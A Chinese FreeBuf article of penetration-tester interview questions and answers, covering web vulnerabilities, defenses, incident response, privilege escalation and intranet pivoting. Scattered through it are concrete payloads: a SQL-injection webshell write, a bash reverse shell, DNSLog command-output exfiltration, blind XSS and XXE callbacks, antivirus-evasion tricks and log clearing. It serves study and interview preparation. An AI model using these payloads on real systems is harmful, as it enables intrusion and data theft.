freeBuf
渗透测试工程师最新面试题(干货)
2023-03-09 09:31:34
所属地 上海

渗透测试流程

首先拿到书面权限。
(1)信息收集
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。
3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞
4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如mysql-3306,ftp-21,ssh -22等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏。可以使用脚本direarch,或者kali自带的dirb、ffuf工具扫描目标网站的目录。
6.google hack 进一步探测网站的信息,后台,敏感文件 。
7.可以对网站架构探测-获取网站的插件信息,比如说js版本,cms类型,中间件信息。如火狐插件-wappalyzer,CMS指纹识别、查看数据包的响应头。
8.资产收集工具-灯塔系统,OneForAll-master。
(2)漏洞扫描
开始检测漏洞,我们可以使用漏洞扫描工具:awvs、nessus、appscan、xray。同时,配合手动测试,如 sql注入,xss跨站脚本、csrf跨站请求伪造、xxe漏洞、ssrf服务端请求伪造、文件包含、文件上传、文件解析、远程代码执行漏洞、越权访问漏洞、反序列化漏洞等 。
(3)漏洞利用
可以利用一些方式拿到 webshell。如:sql注入-sqlmap,XSS跨站脚本-Beef-XSS、抓包工具-brup、文件上传漏洞-一句话木马
(4)权限提升
获得了webshell后,一般权限很低,所以我们需要提权。1.mysql提权(mof提权、udf提权、反弹shell提权)2.windows溢出提权3.linux脏牛,内核漏洞提权(CVE-2016-5195)(cve-2021-4034)。
(5)日志清理
(6)总结报告及修复方案

业务逻辑漏洞

1.越权漏洞
水平越权:一般是修改get或post参数来查看其他人的业务信息,一般是在订单处或个人信息处。例如:2个账号,修改账号1的get或post参数去查看账号2的信息。
垂直越权:两个账号,一个普通,一个管理员,抓包修改管理员的参数,权限类型不变,权限ID改变,普通账号获得与管理员相同的权限。
2.密码找回
攻击者只要通过在本地抓取数据包并对其内容加以分析就能获取到其他用户的用户凭证,从而达到重置任意用户密码的目的。
找回密码功能模块通常会将用户凭证(通常为验证码或者链接)发送到用户注册时使用的手机号或者邮箱中,只要用户不泄露自己的用户凭证就不会被攻击者利用。但有些信息系统在密码找回功能的设计存在逻辑缺陷,可能会将用于用户自证身份的信息的用户凭证以各种各样的方式返回到客户端。
防御:1.不要将token验证之类的数据直接返回给用户数据包。2.用户身份验证一定要在后端实现。
3.支付逻辑漏洞
服务器端没有对客户端请求数据中的金额、数量等敏感信息作校验,攻击者通过bp抓包修改任意金额购买商品或者给账号充值等。
防御:1.在请求数据中对涉及金额、数量等敏感信息进行加密,并在服务器端对其进行校验。2.支付交易请求数据中加入token,防止重放攻击。
4.验证码相关漏洞
验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。
验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。
验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。
5.重放攻击漏洞
比如说点赞或者签到地方,服务器是根据ip地址识别当前用户是否已点赞的,在数据包里添加一行X-Forwarded-For来伪造http客户端ip,使用bp抓包后发到intruder里遍历IP,设置payload去攻击,经过多次重放,可导致多次签到。
防御:1.添加token值2.添加时间戳。

护网蓝队

工作内容
1.实时查看监控设备,分析日志及流量;
2.对危险攻击事件进行详细记录并上报;
3.变更安全策略,及时对攻击 IP 进行封禁;
4.编写每日日报,并在护网结束时总结护网经验编写护网经验总结
windows应急响应时排查分析
1.检查服务器是否有弱口令。比如空口令或者密码复杂度不够。
2.高危端口是否对外开放,比如SSH服务22端口,RDP服务3389端口等。
3.查看服务器是否有可疑账号。
4.结合日志分析 eventvwr.msc 查看管理员登录时间,相关事件是否有异常。
设备误报如何处理
来自外网的误报说明安全设备需要进行策略升级,不需要处置。
如果是来自内网的误报可以和负责人协商一下看能不能解决,有必要的话添加白名单处理。
安全设备
入侵防御系统IPS
入侵检测系统IDS
防火墙:火绒、安全管家、TinyWall和ClearOS
WAF(Web应用防火墙 ):安全狗   隔离网络
日志审计系统
堡垒机
蜜罐:一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。T-Pot
漏洞扫描系统:awvs、nessus

前期:自检和加固
弱口令:数据库、SSH、RDP、后台
命令执行:
文件操作:文件上传、文件读取
未授权访问:

中期:查漏补缺、安全告警、事件分析

1. 收到告警后,需要根据⾃动判断的攻击类型查看特征流量,判断是否是误报:特征流量与攻击类型是否符合,是否是因为正常流量中的某些参数与攻击流量相似产⽣误报。如果通过特征流量判断不出来,则可以通过全流量包进⾏深⼊分析。
2. 如果是误报则不需要上报,有能⼒可以⾃⾏修改告警规则减少误报(⼀般不⽤)
3. 如果是真实告警,则需要进⼀步判断是否攻击成功,如果攻击失败,直接上报给封禁组,进⾏IP封禁。如果攻击成功,则需要⽴即上报应急响应组,开始应急响应流程

蜜罐、钓鱼邮件、IP

发现植入后门如何处理
1.针对阿里云云盾给出的后门文件路径进行强制删除。
2.使用开源程序的CMS系统,进行升级,漏洞补丁修复。
3.对网站的漏洞进行修复,检查网站是否存在漏洞,尤其上传漏洞,以及SQL注入漏洞,严格过滤非法参数的输入。
4.对网站的所有代码进行检测,是否存在一句话木马后门文件,可以对比之前备份的文件,一一对比,再一个查看文件的修改时间,进行删除。
5.对网站的后台地址进行更改,默认都是admin,houtai,manage等的目录,建议改成比较复杂的名字,即使利用sql注入漏洞获取到的账号密码,不知道后台在哪里也是没用的。

安全加固

windows加固
帐号加固:查看是否有其他用户、账号封禁删除
本地安全策略:密码锁定、账户锁定、授权管理、审核策略(敏感操作记录、用户权限分配)
补丁管理
日志审核:查看事件查看器、查看id都表示什么事件
Linux
账号安全:禁止root用户直接远程ssh、Telnet登录,禁止无用的系统用户登录
系统日志审计:syslog 登录事件记录、syslog.conf 的配置审核、启动审计进程
关闭ipv6
检查是否伪装IP

挖到过的漏洞

水平越权
垂直越权
支付漏洞
重放攻击
弱口令
任意文件上传
cookie属性安全
响应头缺失
敏感信息敏文传输
备份文件泄露
会话固定
host头攻击

sql注入

简介
主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
分类:
1、基于时间的盲注(查看延迟语句是否执行)
2、基于布尔的盲注(根据返回页面判断条件真假)
3、基于报错注入(页面会返回报错信息)
4、基于数字型注入(分为联合查询注入、堆查询注入、宽字节注入)

防御:
1.使用预编译语句,绑定变量
2.过滤特殊符号
3.检查变量的数据类型和格式
4.使用白名单来规范化输入验证方法

1.获取数据库名
select SCHEMA_NAME from information_schema.SCHEMATA
2.获取表名
select TABLE_NAME from information_schema.TABLES
3.获取字段名
select * from information_schema.COLUMNS where TABLE_NAME="users" and TABLE_SCHEMA="security"
4.获取数据
select id,username,password from users

绕过waf
7.替换大小写
8.替换关键字
9.编码:16进制编码、unicode编码
10.插入注释
11.特殊符号
12.缓冲区溢出。

Sql注入流程:
判断是否有回显,有回显尝试联合查询,无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。无回显无报错信息,尝试盲注(时间和布尔)

sqlmap,怎么对⼀个注⼊点注⼊?
1)如果是 get 型号,直接,sqlmap -u "诸如点⽹址".
2) 如果是 post 型诸如点,可以 sqlmap -u "注⼊点⽹址” --data="post 的参数 "
3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,⽤ burpsuite 抓包,注⼊处⽤*号替换,放到⽂件⾥,然后sqlmap -r "⽂件地址

报错注入函数:
1.updatexml()函数
2.extractvalue()函数
3.floor()函数

盲注和延时注入的共同点?
都是一个字符一个字符的判断

宽字节注入主要是源于程序员设置数据库编码与PHP编码设置为不同的两个编码格式从而导致产生宽字节注入

SQL语句写入webshell
1.联合查询:通过SQL注入select into outfile实现。
1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' --
2.盲注或报错:可以通过分隔符写入,利用lines terminated by语句进行拼接,拼接后面的webshell内容。
1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' lines terminated by '<?php phpinfo(); ?>'--

1.–level5:探测等
level是指探测的等级,随着level的提高payload会增加、运行时间增加、同时会自动破解出cookie、XFF头部等注入。
2.–risk5:风险等级
risk增加后,sql语句不仅会包含select语句,也会包含insert、delete、update等sql语句,很可能会对数据库造成严重的破坏,所以不建议调高risk等级

判断数据库类型
1.注释符判断
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
2.函数判断
and (select count()from MSysAccessObjects)>0 access 数据库
and (select count()from sysobjects)>0 返回正常说明是 mssql 数据库
and length(user())>10 返回正常说明是 Mysql
Oracle 可以根据 from dual 虚拟库判断

跨站脚本攻击XSS

简介:
攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
分类:
反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS.
区别:
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
防御:
1.使用XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。
2.输入过滤
输入是否仅仅包含合法的字符;
输入字符串是否超过最大长度限制;
输入如果为数字,数字是否在指定的范围;
输入是否符合特殊的格式要求,如E-mail地址、IP地址等
3.输出编码
<(小于号) 转成 &lt;
> (大于号)转成 &gt;
& (和号)转成 &amp;
" (双引号)转成 &quot;
' (单引号)转成 &#39;
4.黑名单和白名单
5.内容安全策略(csp):CSP用于限制浏览器查看您的页面,以便它只能使用从受信任来源下载的资源。

CSRF跨站请求伪造

原理
网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。
防御
1.验证 HTTP Referer 字段
2.在请求地址中添加 token 并验证
3.在 HTTP 头中自定义属性并验证

SSRF服务器端请求伪造

原因
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御
1.限制协议:仅允许http和https请求。
2.限制IP:避免应用被用来获取内网数据,攻击内网。
3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。
有回显
直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显
1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
"... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..."
2.使用burp的collaborator来进行尝试
3.开启apache服务,在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,打开日志确定是否被访问,确定是否存在ssrf漏洞。

文件上传

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力
通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:
1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。
2.站点存在简单防护:
前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀。
MIME校验时,抓包修改Conten-Type为允许MIME类型。
3.CMS等的通用任意文件上传漏洞:绕过黑白名单、绕过文件内容检测、CMS的文件上传漏洞
绕过waf
1.数据溢出
2.数据阶段:%00截断
原理:C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
3.去掉双引号绕过
4.文件名后缀大小写绕过

文件上传中include和require的区别
1.加载失败的处理方式及不同
include引入文件失败后会继续执行
require失败后停止执行
2.
Include是有条件包含函数
include 'file.php'; //file.php不会被引入
Require是无条件包含函数
require 'file.php'; //file.php将会被引入
3.文件引用方式
Include有返回值
Require没有返回值

文件解析

Apache 解析漏洞:后缀解析
Apache是从右往左进行解析,如果不能解析,就往前跳,再进行识别解析。
Nginx解析漏洞:
畸形解析漏洞、空字节代码执行漏洞
IIS 6.0解析漏洞:
1.目录解析(在asp文件后缀的文件可以以asp的格式被解析) /xx.asp/xx.jpg
2.文件解析(以前可以绕狗和策略) test.asp;.jpg

文件包含

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
分类:本地包含和远程包含
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

命令执行

原理
命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru(),代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。

产生的原因:
没有对用户输入进行过滤或过滤不严
例如:没有过滤&、&&、| 、||等连接符号。


绕过
管道符:逻辑与、逻辑或
特殊符号:引号、双引号、$
DNSLog带出命令
Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn
编码:base

waf绕过

sql注入
绕过waf
7.替换大小写
8.替换关键字
9.编码:16进制编码、unicode编码
10.插入注释
11.特殊符号
12.缓冲区溢出

文件上传绕过
1.数据溢出
2.数据阶段:%00截断
原理:C语言中字符串的结束标识符%00是结束符号,而PHP就是C写的,所以继承了C的特性,所以判断为%00是结束符号不会继续往后执行
3.去掉双引号绕过
4.文件名后缀大小写绕过
 
命令执行
管道符:逻辑与、逻辑或
特殊符号:引号、双引号、$
DNSLog带出命令
Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn
编码:base

XXE即xml外部实体注入漏洞

原理
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
防御
1、使用开发语言提供的禁用外部实体的方法。
2、PHP:libxml_disable_entity_loader(true);
2、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

XSS和CSRF的区别

XSS不需要登录,CSRF需要用户登录信息
XSS攻击客户端,CSRF访问服务端
XSS劫持用户信息,CSRF伪造用户身份访问正常网站

CSRF和SSRF的区别

(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起

CSRF 和 XSS 和 XXE 区别

(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

中间件漏洞

IIS:
IIS6.0 PUT漏洞
IIS6.0 远程代码执行漏洞
IIS6.0 解析漏洞
IIS启用.net 短文件名漏洞
IIS7.0/7.5 解析漏洞

Apache:
解析漏洞
目录遍历

Nginx:
文件解析
目录遍历

Tomcat:
远程代码执行
war后门文件部署

WebLogic:
反序列化漏洞
SSRF
任意文件上传

PHP代码审计容易出问题的点

1、参数拼接方式皆有可能产生SQL注入(老生常谈)
2、全局变量注册导致的变量覆盖
3、fwrite参数未过滤导致的代码执行
4、权限校验疏漏导致的后台功能访问
5、接口任意文件上传
6、unserialize反序列化漏洞

GET 和 POST 的区别

1、
get是获取数据。
post是修改数据。
2、
get把请求的数据放在url上,以?分割URL和传输数据,参数之间以&相连,所以get不太安全。
post把数据放在HTTP的包体内(requrest body)。
3、
get提交的数据最大是2k( 限制实际上取决于浏览器)。
post理论上没有限制。
4、
GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。
POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
5、
GET请求会被浏览器主动缓存。
POST不会,除非手动设置。

Cookie和Session的区别

1,存储的位置不同,
cookie:存放在客户端,
session:存放在服务端。
Session存储的数据比较安全
2,存储的数据类型不同
两者都是key-value的结构,但针对value的类型是有差异的
cookie:value只能是字符串类型,session:value是Object类型
3,存储的数据大小限制不同
cookie:大小受浏览器的限制,很多是4K的大小
session:理论上受当前内存的限制

webshell的检测方法

Grep、关键词、关键函数、安全狗、D盾。

反弹shell常用命令

1.bash反弹shell
Nc开启监听,然后通过bash进行反弹shell
bash -i >& /dev/tcp/IP/端口 0>&1
2.Msf反弹shell
Msf制作php木马,使用handler模块开始监听,反弹shell。

内网渗透

思路:攻击外网服务器、获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板、攻击内网其他服务器、最后获取敏感数据,
vulnstack内网渗透靶场
1.环境搭建
2.信息收集
3.通过漏洞利用获取webshell。
4.通过webshell获取meterpreter,进行提权:生成后门程序、执行监听、上传并执行木马、提权。
5.通过meterpreter进行内网信息收集:
Ifconfig查看ip
Route查看路由
Arp查看arp列表
sysinfo查看目标系统信息;
Getwd查看meterpreter所在目录
Getpid查看meterpreter的进程号
run get_local_subnets 查看当前主机的网段与掩码。
6.根据收集到的内网信息进行横向渗透。
将已经获取权限的服务器配置为代理服务器当做跳板,进行横向扩展,设置路由网关,使用metasploit内置模块对目标服务器进行信息收集与探测。
7.痕迹清理。

多层内网渗透的原理:
渗透机win10+kali
第一层靶机(外网web服务器)
第二层靶机(内网web服务器)
第三层靶机(内网办公机)win7
上传msf上传到第一层主机
第一层主机的meterpreter添加第二层的网络路由,启用代理配置第二层网络。利用第二层主机的meterpreter添加第三层的网络路由,使用代理配置网络,设置端口(lcx、ew、socks)

提权

Linux提权
内核漏洞提权 (cve-2016-5195)
查看内核版本uname -a
下载,编译生成exp文件
Make执行

版本过高:目前主流linux版本均受影响 Cve-2021-4034,使用wget https://github.com/berdav/CVE-2021-4034将文件下载到tmp文件中,然后make执行拿到root权限

Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码
第三方软件提权

免杀

免杀就是反病毒技术,免于被查毒软件查杀。
加冷门壳
加壳改壳
加花指令
通过加一些指令也就是花指令来达到免杀效果,原理跟改特征码差不多。例如杀毒软件本来是在0x00001000到0x00005000处找一个特征码。但因为我们填充了花指令,恶意代码跑到了0x00008000这个位置,就会导致特征码查杀失败,从而达到免杀目的。
改特征码方法:
大多数杀毒软件都是基于特征码进行查杀的。方法:利用myccl工具查找定位复合特征码

应急响应

1.准备阶段:
准备阶段要做的是主要是明确资产范围对可能产生安全问题的地方进行加固。
2.检测阶段:
通过日常的监控,收集系统信息日志等手段对可疑的迹象进行分析,判断,如果判定他属于网络安全应急响应时间,则对该事件进行上报(可以利用netstat -ano查看端口连接情况,也可以使用tasklist | find “PID” 对具体进程定位。系统日志可以WIN+R,输入eventvw.msc,直接进入事件查看器分析日志)
3.抑制阶段:
分析影响范围,根据预案采取相应手段,限制攻击的范围,设置隔离区 ,把影响降低到最小(可以使用安全软件进行隔离,如果整台电脑完全沦陷,也可以考虑首先断网)
4.根除阶段:
分析产生安全事件的原因,如果是木马,,病毒就需要找出源头来并且遏制,如果是入侵行为就可以通过入侵检测的方式来检测数据流,也可以利用一些工具对病毒特征进行扫描分析和定位
5.恢复阶段:
对受到破坏的系统和信息进行恢复还原,从可信任的备份中恢复还原系统配置,数据库等等,并对其进行实时监控,确保无误的情况可适当去掉之前做的隔离等抑制等措施。
6.总结阶段:
对我们上面所发生的安全事件做一个总结,对你所使用到的有效的手段和方法做一个记录,对后面可能遇到的安全事件做一个示例

反序列化

PHP 中的序列化与反序列化,基本都是围绕serialize() 和unserialize() 两个函数展开的。
序列化就是把一个对象变成可以传输的字符串,反序列化就是一个相反的过程,在php的反序列化当中存在着魔术函数,执行序列化操作时会自动执行这些函数.
在研究反序列化漏洞过程中,如果遇到几个魔法函数就需要我们去重点关注。
construct()当一个对象创建时被调用
destruct()当一个对象销毁时被调用
toString()当一个对象被当作一个字符串使用
sleep() 在对象在被序列化之前运行
wakeup将在序列化之后立即被调用
如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞。
防御
对反序列数据加密或签名,且加密密钥和签名密钥不要使用硬编码
对反序列化接口添加认证授权
设置反序列化服务仅在本地监听或者设置相应防火墙策略
禁止使用存在漏洞的第三方框架库
过滤、禁用危险函数
过滤T3协议或限定可连接的IP
设置Nginx反向代理,实现t3协议和http协议隔离

挖掘:
代码审计,需要去审计源码,去寻找可以利用的pop链。
代码粉丝-pop链构造-利用poc

shiro反序列化 apache的一个版本漏洞

溯源

指从攻击者遗留下的信息进行反向查找,查找到攻击者的姓名,手机以及身份证号。
1.攻击源捕获
安全设备报警:扫描ip、威胁阻断、病毒木马等。
日志与流量分析:异常的通讯流量、攻击源与攻击目标。
服务器资源异常,异常的文件、账号、进程、服务等
钓鱼邮件:获取恶意文件样本、钓鱼网站url等
蜜罐系统:获取攻击者行为、意图的相关信息。

2.溯源反制手段
Ip定位技术:根据IP定位物理地址—代理IP
网站url:域名whois查询-注册人的姓名、地址、电话和邮箱

案例一:邮件钓鱼攻击溯源
攻防场景:攻击者伪造正常的邮件、绕过邮件网关,将邮件投递到目标邮箱,诱骗用户点击邮件链接。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
案例二:蜜罐溯源
攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。

owasp top10

1.失效的访问控制
2.加密机制失效
3.注入
4.不安全设计
5.安全配置错误
6.自带缺陷和过时的组件
7.身份识别和身份验证错误
8.软件和数据完整性故障
9.安全日志和监控故障
10.服务端请求伪造

域渗透

概念:
将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域
域渗透的思路:
通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
常用指令:
得到域控制器的IP:dsquery server
得到域控制器主机名:net group "domain controllers" /domain
查询域管理用户:net group "domain admins" /domain
查看所有域用户: net user /domain

登陆界面测试思路

对登陆界面进行抓包,查看发送包和响应包。
1.看是否有-cookie属性安全漏洞。查看setcookie是否有httponly。
HttpOnly是Cookie中一个属性,用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。
2.看是否有-响应头缺失漏洞。X-Content-Type-Options、HTTP Content-Security-Policy、单击劫持:X-Frame-Options
3.看是否有-cors漏洞。
4.看是否有-敏感信息明文传输漏洞。
5.看是否有-启用不安全的http方法。在响应中查看allow头信息,在allow头中发现delete、put等选项。
6.对账号密码进行爆破,测试是否有弱口令。
7.验证码相关漏洞
验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。
验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。
验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。
8.测试-短信爆破。看是否可多次发送短信。
9.测试是否有-host头攻击漏洞。修改host为baidu.com,发包看是响应包的url是否为baidu.com
10.用户枚举
11.万能密码绕过
12.SQL注入
13.看是否有中间件漏洞(wappalyzer)
14.未授权访问:Redis 未授权访问漏洞(6379端口),使用redis clinet 直接无账号成功登录redis,利用redis写webshell

总结:
1、条件允许的情况下开启漏洞扫描
2、敏感信息的探测,例如端口,目录,JS文件
3、爆破弱口令
4、抓包看看是否存在逻辑漏洞,或者SQL注入进行尝试
5、寻找框架漏洞

DNSlog使用

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件
通常用在
1.SQL盲注
2.无回显的XSS
3.无回显的命令执行
4.无回显的SSRF
网址
http://www.dnslog.cn/
http://ceye.io/records/dns
1.xss盲打
"<script src=http://XSS.XXXXX.ceye.io></script>"
<ImG src=http://xss.9e5ehg.dnslog.cn>
2.SSRF
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
3.命令执行
" ping %PATH%.pxxx.ceye.io ..."

mysql网站注入,5.0以上和以下的区别?

5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
5.0以下是多用户单操作,5.0以上是多用户多操做。

代码审计

跟踪用户输入数据和敏感函数参数回溯。
首先使用easy源代码审计系统扫描,如果某处代码有问题会标颜色出来,然后可以去手工进行验证。其次,手工代码审计就去找关键字。比如说
SQL 注入   Select、delete 、update、insert
文件上传 Upload、write、fileName 、filePath、move_uploaded_file
命令执行:eval、system、exec

脚本

dirsearch-目录扫描脚本
OneForAll-master-资产搜集脚本
sqlmap-SQL注入脚本
jquery脚本-查看是否有jquery版本漏洞的脚本
GUI-Tools-渗透测试的一个集成工具(信息收集、漏洞利用、渗透测试相关工具)

代码避免漏洞

要想避免漏洞。开发人员必须去知道都有那些常见的高危漏洞,比如说SQL注入、xss、文件上传、命令执行、逻辑漏洞等,只有知道这些漏洞的原理,才能在写代码的时候去避免产生漏洞。此外,定期可以对开发人运行进行一些相关的安全培训,提高开发人员的安全意识。
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏